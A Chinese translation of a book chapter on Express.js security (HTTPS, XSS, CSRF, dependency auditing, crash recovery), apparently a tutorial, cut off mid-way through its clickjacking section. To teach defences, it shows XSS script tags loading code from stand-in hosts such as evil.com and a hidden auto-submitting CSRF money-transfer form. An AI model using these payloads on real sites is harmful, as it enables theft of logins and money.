我可能不需要告诉你,计算机安全很重要,而且每天都在变得更加重要。你肯定看到过关于数据泄露、网络战和“黑客活动”的新闻头条。随着我们的世界越来越多地进入数字领域,我们的数字安全变得越来越重要。

保持你的 Express 应用程序安全应该是(希望)重要的——谁愿意被黑客攻击?在本章中,我们将讨论你的应用程序可能被颠覆的各种方式以及如何保护自己。更具体地说,我们将讨论:

·  “安全思维”如何帮助你发现安全漏洞

·  保持你的代码无错误(尽可能!)

·  保护你的用户免受跨站脚本、跨站请求伪造和中间人攻击

·  处理不可避免的服务器崩溃

·  审计你的第三方代码

·  各种小型的安全策略;修复浏览器漏洞,防止“点击劫持”等。

本章与其他章节相比,并没有那么流畅。我们会发现自己探索一个主题,然后跳到另一个,尽管可能存在一些相似之处,但大多数这些攻击相对来说是不同的。

## 10.1  安全思维

著名的安全技术专家布鲁斯·施奈尔(Bruce Schneier)描述了他称之为“安全思维”的东西:

米尔顿叔叔工业公司(Uncle Milton Industries)自 1956 年以来一直在向儿童销售蚂蚁农场。几年前,我记得和朋友打开了一个。盒子里没有实际包含蚂蚁。相反,有一张卡片,你填写你的地址,公司就会给你邮寄一些蚂蚁。我的朋友对可以通过邮寄收到蚂蚁表示惊讶。

我回答说:“真正有趣的是,这些人会向任何人你告诉他们的人寄送一管活蚂蚁。”

安全需要一种特定的思维方式。安全专业人士——至少是那些优秀的——看待世界的方式不同。他们走进商店时,不能不注意到他们可能会偷窃。他们使用电脑时,不能不思考安全漏洞。他们投票时,不能不试图想出如何重复投票。他们就是无法控制自己。

— “安全思维”布鲁斯·施奈尔(Bruce Schneier),在[`www.schneier.com/blog/archives/2008/03/the_security_mi_1.html`](https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html)

Bruce Schneier 并不是在提倡你应该偷东西和违法!但保护自己的最佳方式是像攻击者一样思考——有人会如何破坏系统?有人会如何滥用他们所拥有的?如果你能像攻击者一样思考,并在自己的代码中寻找漏洞,那么你可以找出如何关闭这些漏洞,并使你的应用程序更加安全。

这章不可能涵盖所有存在的安全漏洞。在我写这章和你看这章之间,可能会出现一个新的攻击向量,可能会影响你的 Express 应用程序。像攻击者一样思考将帮助你防御应用程序免受可能的安全漏洞的无尽攻击。

就算我没有逐一介绍每个安全漏洞,并不意味着我不会介绍常见的那些。请继续阅读!

## 10.2  尽可能使你的代码无错误

在你的编程生涯的这个阶段,你很可能已经意识到大多数错误都是不好的,你应该采取措施来防止它们。许多错误可能导致安全漏洞这一点并不令人惊讶。例如,如果某种用户输入可以导致你的应用程序崩溃,黑客只需用这些请求洪水般地攻击你的服务器,就会使服务对所有人关闭。我们不想看到这种情况发生!

你可以使用各种方法来保持你的 Express 应用程序无错误,因此减少受到攻击的可能性。在本节中,我不会涵盖保持软件无错误的通用原则,但这里有一些需要记住的:

·  测试非常重要。我们在上一章讨论了测试。

·  代码审查非常有帮助。更多的眼睛关注代码几乎肯定意味着更少的错误。

·  不要重新发明轮子。如果有人已经创建了一个库,它能够完成你想要的功能,那么你很可能应该使用这个库。确保这个库经过充分测试并且可靠!

·  坚持良好的编码实践。我们将讨论一些 Express 和 JavaScript 特定的问题,但你应该确保你的代码结构良好且干净。

我们将在本节中讨论 Express 特定的内容,但上述内容在防止错误,因此也在防止安全问题方面非常有帮助。

### 10.2.1   使用 JSHint 强制执行良好的 JavaScript

在你的 JavaScript 生涯中,你可能在某个时刻听说过《JavaScript: The Good Parts》。如果你还没有听说过,这是一本由 JSON(或他称之为“发现者”)的发明者 Douglas Crockford 所著的著名书籍。它划定了语言的一个子集,被认为是“好的”,而其余的部分则被劝阻不要使用。

例如,Crockford 不鼓励使用双等号运算符(`==`),而是建议坚持使用三等号运算符(`===`)。双等号运算符进行类型强制转换,可能会变得复杂,并可能引入错误,而三等号运算符几乎按你期望的方式工作。

此外,还有许多常见的陷阱困扰着 JavaScript 开发者,这并不一定是语言本身的错误。举几个例子:缺少分号、忘记 `var` 语句和拼写变量名错误。

如果有一个工具可以强制良好的编码风格,并且有一个工具可以帮助你修复错误,你会使用它们吗?如果它们是同一个工具呢?在我让你想象力过于奔放之前,我要告诉你:有一个叫做 JSHint 的工具。

JSHint 会检查你的代码,并指出它所说的“可疑使用”。使用双等号运算符或忘记 `var` 并不是技术上错误的,但很可能是错误。

要安装 JSHint,你可以使用 `npm install jshint -g` 全局安装它。现在,如果你输入 `jshint myfile.js`,JSHint 将会检查你的代码,并提醒你任何可疑的使用或 bug。例如,看看这个文件:

列表 10.1 一个带有错误的 JavaScript 文件

`function square(n) {` `  var result n * n;  #A` `  return result;` `}``square(5);`

#A 注意这里缺少的等号。

注意,第二行有一个错误:我们遗漏了一个等号。如果我们在这个文件上运行 JSHint(使用 `jshint myfile.js`),我们会看到以下输出:

`myfile.js: line 2, col 13, Missing semicolon.` `myfile.js: line 3, col 18, Expected an assignment or function call and instead saw an expression.`  `2 errors`

如果我们看到这个,我们就知道有问题!我们可以回去添加等号,然后 JSHint 就会停止抱怨。

在我看来,JSHint 与你选择的编辑器集成时效果最好。访问 JSHint 下载页面 [`jshint.com/install/`](http://jshint.com/install/) 以获取编辑器集成的列表。现在,你甚至可以在运行代码之前看到错误!

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/10_01.png)

图 10.1 在 Sublime Text 编辑器中集成 JSHint。注意窗口左侧的错误和状态栏底部的消息。

JSHint 在我使用 JavaScript 的时候节省了我大量的时间,并修复了无数个 bug。我知道其中一些 bug 是安全漏洞。

### 10.2.2 回调中发生错误后的停止

回调是 Node.js 中非常重要的一个部分。Express 中的每个中间件和路由都使用它们,更不用说……好吧,几乎所有的其他东西!不幸的是,人们在回调中犯了一些错误,这些错误可能会产生 bug。

看看你是否能在这段代码中找到错误:

`fs.readFile("myfile.txt", function(err, data) {` `  if (err)  {` `        console.error(err);` `  }` `  console.log(data);``});`

在这段代码中,我们正在读取一个文件,并在一切正常的情况下使用 `console.log` 输出其内容。但如果由于某种原因没有正常工作,我们会输出错误信息,然后继续尝试输出文件的数据!

如果出现错误,我们应该停止执行。例如:

`fs.readFile("myfile.txt", function(err, data) {` `  if (err)  {` `    console.error(err);` `    throw err;  #A` `  }` `  console.log(data);``});`

#A 如果有错误,我们永远不会继续执行代码的其余部分,因为已经出现了错误!

通常,如果出现任何错误,停止操作是很重要的。你不想处理错误的结果——这可能导致你的服务器出现错误行为。

### 10.2.3 查询字符串的危险解析

网站通常都有查询字符串。例如,你使用过的几乎每个搜索引擎都包含某种类型的查询字符串。搜索 "crockford backflip video" 可能看起来像这样:

`http://mysearchengine.com/search?q=crockford+backflip+video`

在 Express 中,你可以通过使用 `req.query` 来获取查询参数,如下所示:

列表 10.2 获取 req.query(注意:包含错误!)

`app.get("/search", function(req, res) {` `  var search = req.query.q.replace(/\+/g, " ");  #A` `  // ...do something with the search...``});`

#A 这个变量现在将包含字符串 "crockford backflip video"。

这听起来很好,但如果输入不是你期望的,那就另当别论了。例如,如果用户访问没有名为 `q` 的查询的 `/search` 路由,那么我们将对未定义的变量调用 `.replace`!这可能导致我们的服务器崩溃。

你总是想确保你的用户给你提供你期望的数据,如果他们没有,你需要对此采取一些措施。一个简单的选项是提供一个默认情况,如果他们没有提供任何内容,假设查询为空。例如:

列表 10.3 不要假设你的查询存在(注意:仍然包含错误!)

`app.get("/search", function(req, res) {` `  var search = req.query.q || "";   #A` `  var terms = search.split("+");` `  // ...do something with the terms...``});`

#A 现在,如果 req.query.q 是未定义的,我们将回退到非错误行为。或者,如果什么都没有输入,你可以重定向,或者给出其他行为。

这修复了一个重要的错误:如果我们期望的查询字符串不存在,我们不会遇到未定义的变量。

但 Express 解析查询字符串时还有一个重要的陷阱。除了变量可能未定义之外,变量还可以是错误类型(但仍然已定义)!

如果用户访问 `/search?q=abc`,那么 `req.query.q` 将是一个字符串。如果他们访问 `/search?q=abc&name=douglas`,它仍然是一个字符串。但如果他们指定 `q` 变量两次,如下所示:

`` /search?q=abc`&q=xyz` ``

…然后 `req.query.q` 将是数组 `["abc", "xyz"]`。现在,如果你尝试调用 `.replace`,它将再次失败,因为该方法在数组上未定义。哦,不!

我个人认为,这是 Express 的设计缺陷。这种行为应该被允许,但我认为它不应该默认启用。在他们改变它(而且我不确定他们是否有计划)之前,你需要假设你的查询可能是数组。

为了解决这个问题(以及其他问题),我编写了`arraywrap`包(在[`www.npmjs.org/package/arraywrap`](https://www.npmjs.org/package/arraywrap))。这是一个非常小的模块;整个包只有 11 行代码。它是一个接受一个参数的函数。如果参数不是数组,它将其包裹在数组中。如果参数是数组,它就返回参数并什么都不做。

您可以使用`npm install arraywrap --save`来安装它,然后您可以使用它将所有的查询字符串强制转换为数组,如下所示:

列表 10.4 不要假设您的查询不是数组

`var arrayWrap = require("arraywrap");` `// …` `app.get("/search", function(req, res) {` `  var search = arrayWrap(req.query.q || "");   #A` `  var terms = search[0].split("+");` `  // ...do something with the terms...``});`

#A 现在如果我们提供一个变量,不提供变量,或者提供多个变量,事情都会正常工作。

现在,如果有人给您比您预期的更多查询,您只需取第一个并忽略其余的。或者,您可以检测查询是否为数组,并在那里做不同的事情。

这引出了本章的一个大要点:永远不要信任用户输入。假设每个路由都会以某种方式出错。假设您的用户可能会给您提供错误数据或根本不提供数据!

## 10.3 保护您的用户

政府的网站已被破坏;Twitter 出现了一种“推文病毒”;银行账户信息被盗。即使不处理特别敏感数据的公司也可能发生密码泄露——索尼和 Adobe 就陷入了这样的丑闻。如果您网站有用户,您会希望负责任地保护他们。

您可以采取许多措施来保护您的用户免受伤害,我们将在本节中探讨这些措施。

### 10.3.1 使用 HTTPS

简而言之,您想要使用 HTTPS 而不是 HTTP。这有助于保护您的用户免受各种攻击。请相信我——您想要它!

有两个 Express 中间件您会想要与 HTTPS 一起使用。一个会强制您的用户使用 HTTPS,另一个会让他们留在那里。

强制用户使用 HTTPS

我们首先查看的是`express-enforces-ssl`中间件。正如其名所示,它强制执行 SSL(HTTPS)。基本上,如果请求是通过 HTTPS 进行的,它将继续到您的其余中间件和路由。如果不是,它将重定向到 HTTPS 版本。

要使用此模块,您需要做两件事。

1. 大多数时候,当您部署应用程序时,您的服务器并不是直接连接到客户端。如果您部署到 Heroku 云平台(我们将在第十一章中看到),Heroku 服务器位于您和客户端之间。为了告诉 Express 这一点,我们需要启用“信任代理”设置。

2. 调用中间件!

3. 确保您`npm install express-enforces-ssl`,然后:

列表 10.5 在 Express 中强制执行 HTTPS

`var enforceSSL = require("express-enforces-ssl");` `// ...` `app.enable("trust proxy");``app.use(enforceSSL());`

这个模块没有太多其他内容,但你可以在 [`github.com/aredo/express-enforces-ssl`](https://github.com/aredo/express-enforces-ssl) 上看到更多。

保持用户在 HTTPS 上

一旦您的用户使用 HTTPS,我们希望告诉他们避免回到 HTTP。新浏览器支持一个名为 HTTP 严格传输安全(简称 HSTS)的功能。这是一个简单的 HTTP 头部,告诉浏览器在一定时间内保持 HTTPS。

例如,如果你想让你的用户在 HTTPS 上保持一年,你可以设置以下头部:

列表 10.6 保持 HTTPS 一年

`Strict-Transport-Security: max-age=31536000  #A`

#A 一年大约有 3,1536,000 秒。

你还可以启用对子域的支持。如果你拥有 slime.biz,你可能希望为 cool.slime.biz 启用 HSTS。

要设置这个头部,我们将遇到 Helmet。Helmet 是一个用于在 Express 应用程序中设置有用的 HTTP 安全头部的模块。正如我们将在本章中看到的那样,它有各种可以设置的头部。我们将从它的 HSTS 功能开始。

首先,像往常一样,在您正在工作的任何项目中运行 `npm install helmet`。我还建议安装 `ms` 模块,它将可读字符串(如 `"2 days"`) 转换为 172,800,000 毫秒。现在你可以使用中间件了!

列表 10.7 使用 Helmet 的 HSTS 中间件

`var helmet = require("helmet");` `var ms = require("ms");` `// ...` `app.use(helmet.hsts({` `  maxAge: ms("1 year"),` `  includeSubdomains: true``}));`

现在,HSTS 将在每个请求上设置!

为什么我们不能只使用 HSTS?

只有当您的用户已经在 HTTPS 上时,这个头部才有效,这就是为什么我们需要 `express-enforces-ssl`。

### 10.3.2 防止跨站脚本攻击(XSS)

我可能不应该说这个,但有很多种方法可以偷走我的钱。你可以打我并抢走我的东西,你可以威胁我,或者你可以扒我的口袋。如果你是一个黑客,你也可以黑入我的银行,并将一大笔钱转到你的账户上(在我们列出的所有选项中,这是我最喜欢的一个)。

如果你能够控制我的浏览器,即使你不知道我的密码,你仍然可以取走我的钱。你可以等待我登录,然后控制我的浏览器。你会告诉我的浏览器去我银行的“汇款”页面,并取走一大笔钱。如果你足够聪明,你可以隐藏它,以至于我甚至不知道发生了什么(当然,直到我的所有钱都花光了)。

但你是如何控制我的浏览器的呢?最流行的方式可能是通过使用跨站脚本攻击,也称为 XSS 攻击。

想象一下,在我的银行主页上,我能看到我的联系人和他们的名字列表。

![图片](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/10_02.png)

图 10.2 一个虚构的银行联系人列表。

用户可以控制自己的名字。布鲁斯·李可以进入他的设置,如果他想的话,可以将他的名字改为“布鲁斯·斯普林斯汀”。但如果他改成了这个名字:

布鲁斯·李<script>transferMoney(1000000, "bruce-lee's-account");</script>

联系人列表仍然会显示相同的内容,但现在我的浏览器也会执行`<script>`标签内的代码!可能这会将一百万美元转到布鲁斯·李的账户,而我却一无所知。布鲁斯·李也可以在他的名字中添加`<script src="http://brucelee.biz/hacker.js"></script>`。这个脚本可能会将数据(例如登录信息)发送到 brucelee.biz。

防止 XSS 的一个大方法是永远不要盲目信任用户输入。

清理用户输入

当你收到用户输入时,几乎总是有可能他们输入一些恶意的内容。在上面的例子中,你可以将你的名字设置为包含`<script>`标签,从而引发 XSS 问题。我们可以对用户输入进行清理或“转义”,这样当我们将其放入 HTML 中时,就不会发生任何意外。

根据你放置用户输入的位置,你将不同地清理内容。作为一个一般原则,你想要尽可能多地清理内容,并且始终考虑上下文。

例如,如果你将一些用户内容放入 HTML 标签中,你想要确保它不能定义任何 HTML 标签。你想要的字符串是这样的:

Hello,`<script src="http://evil.com/hack.js"></script>`world。

要变成这样:

`Hello,&lt;script src="http://evil.com/hack.js"&gt;&lt;/script&gt;world。`

通过这样做,脚本标签将变得无用。

这种转义(以及更多)通常由大多数模板引擎为你处理。在 EJS 中,只需使用默认的`<%= myString %>`,不要使用`<%- userString %>`。在 Jade 中,这种转义是默认的。除非你确定你不想清理某些内容,否则在处理用户字符串时,请确保使用“安全”版本。

如果你知道用户应该输入一个 URL,你不仅想要进行转义,你还想尽可能验证输入的内容确实是一个 URL。你还需要在 URL 上调用内置的`encodeURI`函数以确保其安全性。

如果你将某些内容放入 HTML 属性中,你想要确保用户不能放入引号,例如。不幸的是,没有一种通用的解决方案来清理用户输入;清理的方式取决于上下文。但你应该始终尽可能多地清理用户输入。

你也可以在将输入放入数据库之前对其进行清理。在上面的例子中,我们展示了在显示内容时如何进行清理。但如果你知道用户应该在他们的用户资料中输入主页,那么在将它们存储在数据库之前对其进行清理也是有用的。如果我输入“hello, world”作为我的主页,服务器应该给出错误。如果我输入 http://evanhahn.com 作为我的主页,那么应该允许,并放入数据库。这可以带来安全性和用户界面的好处。

使用 HTTP 头部减轻 XSS

还有另一种帮助减轻 XSS 攻击的方法,但它相当小,那就是通过使用 HTTP 头信息。我们再次使用 Helmet。

有一个简单的安全头信息叫做`X-XSS-Protection`。它不能保护所有类型的 XSS 攻击,但它可以保护所谓的“反射型 XSS”。反射型 XSS 的最佳例子是不安全的搜索引擎。在每一个搜索引擎上,当你进行搜索时,你的查询会出现在屏幕上(通常在顶部)。如果你搜索“candy”,单词“candy”就会出现在顶部,并且它将成为 URL 的一部分:

`https://mysearchengine.biz/search?query=candy`

现在想象你正在搜索`<script src="http://evil.com/hack.js"></script>"`。URL 可能看起来像这样:

`https://mysearchengine.biz/search?query=<script%20src="http://evil.com/hack.js"></script>`

现在,如果这个搜索引擎将这个查询放入页面的 HTML 中,你就在页面上注入了一个脚本!如果我把这个 URL 发给你,你点击链接,我就能控制并做恶意的事情。

防止这种攻击的第一步是清理用户的输入。之后,你可以设置`X-XSS-Protection`头信息,以防止某些浏览器在你犯错时运行该脚本。在 Helmet 中,这只是一行代码:

列表 10.8 使用 Helmet 设置 X-XSS-Protection 头信息

`app.use(helmet.xssFilter());`

Helmet 还允许你设置另一个头信息,称为内容安全策略(Content Security Policy)。坦白说,内容安全策略可以是一个独立的章节。查看 HTML5 Rocks 指南[`www.html5rocks.com/en/tutorials/security/content-security-policy/`](http://www.html5rocks.com/en/tutorials/security/content-security-policy/)以获取更多信息,一旦你理解了它,就可以使用 Helmet 的`csp`中间件。

这两个 Helmet 头信息远不如清理用户输入重要,所以先做那个!

### 10.3.3   跨站请求伪造(CSRF)预防

假设我登录了我的银行账户。你希望我向你账户转账一百万美元,但你并没有以我的身份登录。(另一个挑战:我没有一百万美元。)你怎么让我把钱转给你?

攻击

在银行网站上,有一个“转账”表单。在这个表单中,你输入金额和收款人信息,然后点击“发送”。在幕后,正在向一个 URL 发送 POST 请求。银行会确保我的 cookie 是正确的,如果是的话,就会转账。

你可以用金额和收款人信息进行 POST 请求,但你不知道我的 cookie,也无法猜测它;它是一长串字符。那么,如果你能让我执行 POST 请求呢?你会通过跨站请求伪造(简称 CSRF,有时也称为 XSRF)来做这件事。

要实施这种 CSRF 攻击,你基本上会让我在不知情的情况下提交一个表单。想象一下,你已经制作了一个这样的表单:

列表 10.9 黑客表单的初稿

`<h1>转账</h1>` `<form method="post" action="https://mybank.biz/transfermoney">` ``  <input name="recipient" `value="YourUsername"` type="text">`` ``  <input name="amount" `value="1000000"` type="number">`` `  <input type="submit">``</form>`

假设你在一个你控制的页面上放了一个 HTML 文件;也许它是 hacker.com/stealmoney.html。你可以给我发邮件说:“点击这里看看我猫的照片!”如果我点击了它,我会看到类似这样的内容:

如果我看到这个,我会起疑。我不会点击“提交”,我会关闭窗口。但我们可以使用 JavaScript 自动提交表单。

列表 10.10 自动提交表单

`<form method="post" action="https://mybank.biz/transfermoney">` `  <!-- … -->` `</form>`   `<script>` `var formElement = document.querySelector("form");` `formElement.submit();``</script>`

如果我被发送到这个页面,表单将立即提交,然后我会被发送到我的银行,到一个显示“恭喜,您刚刚转账了一百万美元。”的页面。我可能会恐慌并拨打银行的电话,当局可能能够解决这个问题。

但这是进步——你现在是在给自己转账。我不会在这里展示,但你可以完全隐藏这一点,不让受害者知道。首先,你在页面上创建一个`<iframe>`。然后你可以使用表单的`target`属性,这样当表单提交时,它会在`iframe`内部提交,而不是在整个页面上提交。如果你把这个`iframe`做得很小或者让它不可见(CSS 很容易做到这一点!),那么我可能直到突然少了百万美元才会意识到我被黑客攻击了。

我的银行需要防止这种情况。但怎么办呢?

防止 CSRF 攻击的概述

我的银行已经检查了 cookies,以确保是我本人。没有让我做点什么,你不能执行 CSRF 攻击。但一旦银行知道是我,它怎么知道我是有意为之,而不是被骗去做的?

我的银行决定这样做:如果你向 mybank.biz/transfermoney 提交 POST 请求,你并不是无缘无故地这样做。在执行 POST 之前,你将在一个询问你想要将钱转到哪个账户的页面——可能 URL 是 mybank.biz/transfermoney_form。

所以当银行发送你 mybank.biz/transfermoney_form 的 HTML 时,它会在表单中添加一个隐藏元素:一个完全随机、不可猜测的字符串,称为令牌。表单现在可能看起来像这样:

列表 10.11 添加 CSRF 保护

`<h1>转账</h1>` `<form method="post" action="https://mybank.biz/transfermoney">` `` `  <input name="_csrf" type="hidden"[CA]       #A` `` `` `   value="1dmkTNkhePMTB0DlGLhm">              #A` `` `  <input name="recipient" value="YourUsername" type="text">` `  <input name="amount" value="1000000" type="number">` `  <input type="submit">``</form>`

#A CSRF 令牌的值对每个用户都是不同的,通常每次都不同。上面的只是一个例子。

你在浏览网页时可能已经使用了成千上万的 CSRF 令牌,但你没有看到它,因为它对你来说是隐藏的。如果你像我一样喜欢查看页面的 HTML 源代码,你会看到 CSRF 令牌!

现在,当你提交表单并发送 POST 请求时,我的银行将确保我发送的 CSRF 令牌与我刚刚接收的是同一个。如果是,银行可以相当肯定我刚刚来自银行的网站,因此意图发送钱。如果不是,我可能正在被黑客攻击——不要发送钱。

简而言之,我们需要做两件事:

1. 每次我们向用户请求数据时创建一个随机的 CSRF 令牌

2. 每次我们处理那些数据时验证这个随机令牌

在 Express 中保护 CSRF

Express 团队有一个简单的中间件可以完成这两个任务:`csurf`(在 https://github.com/expressjs/csurf)。`csurf`中间件做两件事:

1. 为请求对象添加一个名为`req.csrfToken`的方法。你发送表单时将发送这个令牌,例如。

2. 如果请求不是 GET,它将寻找一个名为`_csrf`的参数来验证请求,如果无效则创建一个错误。(技术上,它也会跳过 HEAD 和 OPTIONS 请求,但这些请求很少见。中间件还会在其他几个地方搜索 CSRF 令牌;请参阅文档以获取更多信息。)

要安装这个中间件,只需运行`npm install csurf --save`。

`csurf`中间件依赖于某种 session 中间件和解析请求体的中间件。如果你需要 CSRF 保护,你可能有关于用户的概念,这意味着你可能已经在使用这些中间件了,但`express-session`和`body-parser`可以完成这项工作。确保你在使用`csurf`之前使用它们。如果你需要一个例子,你可以查看第八章的`app.js`代码,或者查看 CSRF 示例应用在 https://github.com/EvanHahn/Express.js-in-Action-code/blob/master/Chapter_10/csrf-example/app.js。

要使用中间件,只需`require`和`use`它:

列表 10.12 使用 CSRF 中间件

`var csrf = require("csurf");` `// …``app.use(csrf()); #A`

#A 在此之前,请确保包含一个 body parser 和 session 中间件。

一旦你使用了中间件,你可以在渲染视图时获取令牌,如下所示:

列表 10.13 获取 CSRF 令牌

`app.get("/", function(req, res) {` `  res.render("myview", {` `    csrfToken: req.csrfToken()` `  });``});`

现在,在视图中,你将`csrfToken`变量输出到一个名为`_csrf`的隐藏输入中。在 EJS 模板中可能看起来像这样:

列表 10.14 在表单中显示 CSRF 令牌

`<form method="post" action="/submit">` `  <input name="_csrf" value="<%= csrfToken %>" type="hidden">` `  <! -- … -->``</form>`

就这些了!一旦你将 CSRF 令牌添加到你的表单中,`csurf`中间件就会处理剩下的工作。

虽然这不是必需的,但你可能想要为失败的 CSRF 定义某种处理程序。定义一个错误中间件来检查 CSRF 错误。例如:

列表 10.15 处理 CSRF 错误

`// …`   `app.use(function(err, req, res, next) {` `  if (err.code !== "EBADCSRFTOKEN") {   #A` `    next(err);                          #A` `    return;                             #A` `  }                                     #A` `  res.status(403);   #B` `  res.send("CSRF error.");` `});`  `// …`

#A 如果这不是 CSRF 错误,我们将跳过这个处理程序。

#B 错误代码 403 是"禁止"。

如果有 CSRF 错误,这个错误处理程序将返回"CSRF 错误"。你可能想要自定义这个错误页面,也可能想要收到消息——有人正在尝试攻击你的用户之一!

你可以将这个错误处理程序放在你的错误堆栈中的任何位置。如果你想让它成为第一个捕获的错误,就把它放在第一位。如果你想让它成为最后一个,你可以把它放在最后。

## 10.4  确保你的依赖项安全

任何 Express 应用程序都将至少依赖于一个第三方模块:Express。如果这本书的其余部分已经向你展示了什么,那就是你将依赖于很多第三方模块。这有一个巨大的优势,那就是你不必编写很多样板代码,但它也带来一个成本:你正在将这些模块的信任放在上面。如果模块创建了一个安全问题怎么办?

你可以保持依赖项安全的三种主要方式:

1.  自己审核代码

2.  确保你使用的是最新版本

3.  与 Node 安全项目进行核对

### 10.4.1   审核代码

这可能听起来有点疯狂,但你通常可以很容易地审核你依赖项的代码。虽然一些模块,如 Express,拥有相对较大的表面区域,但你将要安装的许多模块只是一小部分代码,你可以快速理解它们。这也是一种极好的学习方法!

就像你可能检查自己的代码以查找 bug 或错误一样,你也可以检查他人的代码以查找 bug 和错误。如果你发现了它们,你可以避免使用该模块。如果你愿意,你通常可以提交补丁,因为这些包都是开源的。

如果你已经安装了该模块,你可以在`node_modules`目录中找到它的源代码。你几乎总是可以通过简单的搜索在 GitHub 上找到模块,或者从 npm 注册表上的链接找到。

值得注意的是,检查项目整体状态也很重要。如果一个模块虽然老旧但工作可靠且没有公开的 bug,那么它可能很安全。但如果它有很多 bug 报告并且长时间没有更新,那么这可不是什么好兆头!

### 10.4.2   保持你的依赖项更新

通常来说,保持事物的最新版本是一个好主意。人们调整性能、修复 bug 和改进 API。你可以手动检查每个依赖项以找出哪些版本已经过时,或者你可以使用 npm 内置的工具:`npm outdated`。

假设你的项目已安装 Express 4.2.0,但最新版本是 4.11.1(我确信到你阅读这篇文章时它已经过时了)。在你的项目目录中运行`npm outdated --depth 0`,你将看到类似以下的内容:

`包       当前  希望的  最新  位置` `express         4.2.0   4.2.0  4.11.1  express`

如果你还有其他过时的包,此命令也会报告这些。进入你的`package.json`,更新版本,然后运行 npm install 以获取最新版本!经常检查过时的包是个好主意。

那个深度是什么意思?

`npm outdated --depth 0` 将告诉你所有已安装的过时模块。没有`depth`标志的`npm outdated`会告诉你过时的模块,即使这些模块不是你直接安装的。例如,Express 依赖于一个名为`cookie`的模块。如果`cookie`被更新,但 Express 没有更新到`cookie`的最新版本,那么你将收到关于`cookie`的警告,即使这并不是你的“过错”。

如果 Express 不更新到最新版本(这很大程度上超出了我的控制范围),我除了更新到 Express 的最新版本(这在我控制范围内)之外,别无他法。`--depth`标志只显示可操作的信息,省略它将给你一大堆实际上无法使用的信息。

另一方面:你还需要确保自己使用的是最新版本的 Node。检查 nodejs.org 并确保你使用的是最新版本。

### 10.4.3   对照节点安全项目进行检查

有时,模块存在安全问题。一些好心的朋友建立了节点安全项目,这是一个雄心勃勃的举措,旨在审计 npm 注册表中的每个模块。如果他们发现不安全的模块,他们将在 http://nodesecurity.io/advisories 上发布安全建议。

节点安全项目还附带一个名为`nsp`的命令行工具。这是一个简单但功能强大的工具,它会扫描你的`package.json`以查找不安全的依赖项(通过将其与数据库进行比较)。

要安装它,运行`npm install –g nsp`以全局安装模块。现在,在`package.json`所在的同一目录下,输入:

`nsp audit-package`

大多数时候,你会收到一条友好的消息,告诉你你的包已知是安全的。但有时,你的某个依赖项(或者更常见的是,你的依赖项的依赖项)存在安全漏洞。

例如,Express 依赖于一个名为`serve-static`的模块;这是`express.static`,静态文件中间件。在 2015 年初,`serve-static`被发现存在漏洞。如果你使用的是依赖于`serve-static`的 Express 版本,运行`nsp audit-package`,你将看到类似以下的内容:

`` `名称`           `已安装`  `已修复`  `有漏洞的依赖` `` `serve-static       1.7.1  >=1.7.2  myproject > express`

这里基本上有两件重要的事情。最左边的列告诉你有问题的依赖项的名称。最右边的列显示了导致问题的依赖项链。在这个例子中,你的项目(称为"myproject")是第一个问题,它依赖于 Express,然后依赖于`serve-static`。这意味着 Express 需要更新才能获取`serve-static`的最新版本。如果你直接依赖于`serve-static`,你只会看到项目名称在列表中,如下所示:

`` `名称`           `已安装`  `已修复`  `有漏洞的依赖项` `` `serve-static       1.7.1  >=1.7.2  myproject`

注意,模块仍然可能是不安全的;npm 上有如此多的模块,Node Security Project 不可能审计它们全部。但它又是另一个有助于保持应用程序安全的工具。

## 10.5 处理服务器崩溃

我有一个坏消息:你的服务器可能在某个时候崩溃。

有很多事情可能导致你的服务器崩溃。也许你的代码中有一个错误,你引用了一个未定义的变量;也许黑客找到了一种方法,可以通过恶意输入使你的服务器崩溃;也许你的服务器已经达到其容量。不幸的是,这些应用程序可能会变得非常复杂,并且可能在某个时候崩溃。

虽然本章有一些帮助应用程序平稳运行的技巧,但你不想让崩溃完全毁了你的一天。虽然它们不是理想的,但你还是可以从它们中恢复过来。

Nodejitsu 团队开发了一个名为 Forever 的简单工具。它的名字可能是一个提示:它可以让你的应用程序永远运行。重要的是:如果你的应用程序崩溃,Forever 会尝试重新启动它。

要安装 Forever,只需运行`npm install forever --save`。你可能已经在`package.json`中有一个`npm start`脚本一段时间了,我们将将其从以下内容更改:

列表 10.16 经典的 npm start 脚本

`…` `"scripts": {` `  "start": "node app.js"` `}``…`

…到这个:

列表 10.17 使用 Forever 的 npm start

`…` `"scripts": {` `  "start": "forever app.js"` `}``…`

现在如果你的服务器崩溃,它将会重新启动!

注意:你可以在本书的源代码仓库中看到这个简单代码示例的实际应用,网址为[`github.com/EvanHahn/Express.js-in-Action-code/tree/master`](https://github.com/EvanHahn/Express.js-in-Action-code/tree/master) /Chapter_09/forever-example。

## 10.6 各种小技巧

我们已经涵盖了大多数重要主题,如跨站脚本和 HTTPS。还有一些其他技巧可以帮助你使你的 Express 应用程序更加安全。本节中的主题并不像上面那些主题那样必要,但它们简单易行,可以减少你被攻击的地方。

### 10.6.1 没有 Express 在这里!

如果黑客想要入侵你的网站,他们有很多事情要尝试。如果他们知道你的网站是由 Express 驱动的,并且知道 Express 或 Node 存在某种安全漏洞,他们可以尝试利用它。最好让黑客对此一无所知!

然而,默认情况下,Express 会公开自己。在每次请求中,都有一个标识你的网站由 Express 驱动的 HTTP 头部。默认情况下,`X-Powered-By: Express`会随每个请求发送。这可以通过一个设置轻松禁用:

列表 10.18 禁用 X-Powered-By: Express

`app.disable("x-powered-by");  #A`

#A 禁用 x-powered-by 选项会禁用头部的设置。

禁用这个选项会让黑客的工作稍微困难一些。这几乎不能让你变得无敌——攻击的途径还有很多——但它确实能起到一点帮助!

### 10.6.2 防止点击劫持

我认为点击劫持相当巧妙。相对容易预防,但我几乎觉得这样做有些内疚——这是一个如此巧妙的技巧。

想象一下,我是一个黑客,我想从你的私人社交网络个人资料中获取信息。如果你能直接将你的个人资料公开,我会很高兴。如果我能让你点击那个大按钮,那就太容易了:

![图片 10_03](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/10_03.png)

图 10.3 社交网络的一个示例页面。

点击劫持利用了浏览器框架——将一个页面嵌入另一个页面的能力——来实现这一点。我可以给你发一个看起来无辜的页面的链接,它可能看起来像这样:

![图片 10_04](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/10_04.png)

